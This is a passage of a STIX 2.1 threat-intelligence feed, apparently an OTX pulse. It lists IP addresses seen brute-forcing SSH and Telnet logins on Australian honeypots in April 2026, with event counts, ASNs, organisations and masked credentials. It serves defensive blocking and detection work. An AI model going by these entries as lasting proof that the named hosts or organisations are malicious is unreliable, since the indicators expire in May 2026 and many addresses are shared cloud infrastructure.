      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--90e7b958-dd6e-472d-a8d4-44aa3c91d44c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.73.143.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--53a79aa8-4e5d-4591-9011-2ddad80617ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.230.74.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0937779f-8b6c-4369-981a-4c30ae74fe46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.167.147.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 43153. Organisation(s): SferaNET Sp. z o.o..",
      "id": "indicator--cc2d86d5-b5e6-45b9-bc6d-84bc5984f34d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.215.35.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T00:15:11.000Z",
      "valid_until": "2026-05-10T00:15:09.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3052c7c2-5855-41eb-90d8-ebc1a4953c06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.117.108.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--22f66d64-8065-4759-b68f-5bf3d5a15241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.116.45.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262588. Organisation(s): EXPLORERNET INFOLINK TECNOLOGIA E TELECOMUNICACOES.",
      "id": "indicator--7de0f30c-1af0-48c8-8cc1-5ed10b593956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.75.49.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9308869f-b5d1-4a3f-9664-263d5643badd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.250.10.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b646c0ac-792e-4f58-a6d4-8a1a22efab43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.90.250.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 17638. Organisation(s): ASN for TIANJIN Provincial Net of CT.",
      "id": "indicator--6d60fc43-4c57-47d1-a3cb-cb5996f101c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.106.166.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T01:15:12.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd. Usernames observed (masked): C***************e, G******************************************************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T01:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T01:15:12.000Z",
      "valid_until": "2026-05-10T01:15:08.000Z"
    },
    {
      "created": "2026-04-08T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 216. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, 3**********4, s***s, t*****1, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, ***, 1****3.",
      "id": "indicator--c6131955-7357-4e53-8699-033c3b00d767",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.125.231.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T03:15:10.000Z",
      "valid_until": "2026-05-10T03:15:09.000Z"
    },
    {
      "created": "2026-04-08T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--d925abfc-e8c0-4840-bc75-4d89744a45af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.56.186.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T04:15:10.000Z",
      "valid_until": "2026-05-10T04:15:08.000Z"
    },
    {
      "created": "2026-04-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 108. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t, s***s, t**t, 3**********4, g**e. Passwords observed (masked): 1******V, Q**********3, 1**4, 1**4, 3***********4.",
      "id": "indicator--286a0c8e-84a2-4bfe-8ed9-02175bc27701",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.124.47.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T04:15:10.000Z",
      "valid_until": "2026-05-10T04:15:08.000Z"
    },
    {
      "created": "2026-04-08T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.132.26.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T04:15:10.000Z",
      "valid_until": "2026-05-10T04:15:08.000Z"
    },
    {
      "created": "2026-04-08T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T05:15:11.000Z",
      "valid_until": "2026-05-10T05:15:08.000Z"
    },
    {
      "created": "2026-04-08T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BH. ASN(s): 39273. Organisation(s): Kalaam Telecom Bahrain B.S.C..",
      "id": "indicator--134c24d0-454c-41b4-9b94-fa355c7b3f2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '78.110.79.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T05:15:11.000Z",
      "valid_until": "2026-05-10T05:15:08.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, t***1, 3**********4, a***s, b*******n. Passwords observed (masked): ***, 1****@, 1******x, 1************$, 3**********4.",
      "id": "indicator--0869c1ad-8752-4028-b8a6-b2d6884c7b0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.174.62.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): j***d.",
      "id": "indicator--f6da44d9-8ba1-4074-b641-e3f0f6b8ce6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.123.107.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, s***m, 3**********4, u**r, b***e. Passwords observed (masked): 3***********4, 3**********4, D***7, Q**********#, S******!.",
      "id": "indicator--5ed02706-5b23-4b21-9e12-5b45650ca4c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.226.157.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s***a, s***m. Passwords observed (masked): s******3, s******!.",
      "id": "indicator--91b83835-dec4-407c-95a6-4e299170a49d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.190.13.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262907. Organisation(s): BRASIL TECPAR | AMIGO | AVATO. Usernames observed (masked): r**t, d****y, 3**********4, c****e, t***1. Passwords observed (masked): 3***********4, 3**********4, ***, 1*******9, 1****@.",
      "id": "indicator--585fda98-8bf5-4f86-b428-ecd7fbe43956",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.11.196.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL. Usernames observed (masked): r**t, 3**********4, t**t, s***m, u****u. Passwords observed (masked): 3***********4, 3**********4, 1******R, D**********!, L*********%.",
      "id": "indicator--680b6a9a-4792-4872-b888-5c51c853a2a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.93.50.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--8aecbc80-d9c3-4cd2-8035-876fe565a3f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.97.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 199058. Organisation(s): Serva One Ltd. Usernames observed (masked): r**t, ***, 3**********4, F*****r, j**f. Passwords observed (masked): 1****6, 1******8, 1*****E, 1*******d, 1****E.",
      "id": "indicator--93cff889-1bd4-49a6-84e8-351550a41479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.59.183.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, s***m, 3**********4, t**t, u****u. Passwords observed (masked): 3***********4, 3**********4, 1******R, D**********!, D***7.",
      "id": "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.193.141.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, ***, j**f, F*****r. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, 1*****E.",
      "id": "indicator--cebf9d6f-7fad-46fb-97d0-32150eab5f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.67.115.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, t**t, 3**********4, s***m, u****u. Passwords observed (masked): 3***********4, 3**********4, 1********5, 1**********e, 1******R.",
      "id": "indicator--975f3950-1587-400f-b1e3-93782976a47f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.157.163.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12430. Organisation(s): Vodafone Spain. Usernames observed (masked): r**t, t**t, 3**********4, c**p, ***. Passwords observed (masked): 3***********4, 3**********4, 1******R, D***7, L*********%.",
      "id": "indicator--5cdeba00-3e08-4246-998b-00a1b4b5d576",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.24.47.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany. Usernames observed (masked): r**t, d****y, 3**********4, a***n, ***. Passwords observed (masked): 1**1, 1**4, 3***********4, 3**********4, A*******3.",
      "id": "indicator--c304a89a-4567-48d3-bc54-60ec24afed32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.54.176.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u.. Usernames observed (masked): r**t, 3**********4, s**v, s*******1, s***m. Passwords observed (masked): 1********5, 1**********e, 3**********4, D**********!, Q**********#.",
      "id": "indicator--25d95627-3056-4173-aa05-0884c798b0c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.45.181.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KG. ASN(s): 64439. Organisation(s): IT Outsourcing LLC.",
      "id": "indicator--6d4bbc5f-0cd1-4729-90fd-962468e66233",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.232.41.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T06:15:10.000Z",
      "valid_until": "2026-05-10T06:15:09.000Z"
    },
    {
      "created": "2026-04-08T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, f****e, u****u, 3**********4, **. Passwords observed (masked): ***, 3***********4, 3**********4, A********#, C*****1.",
      "id": "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.124.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T07:15:11.000Z",
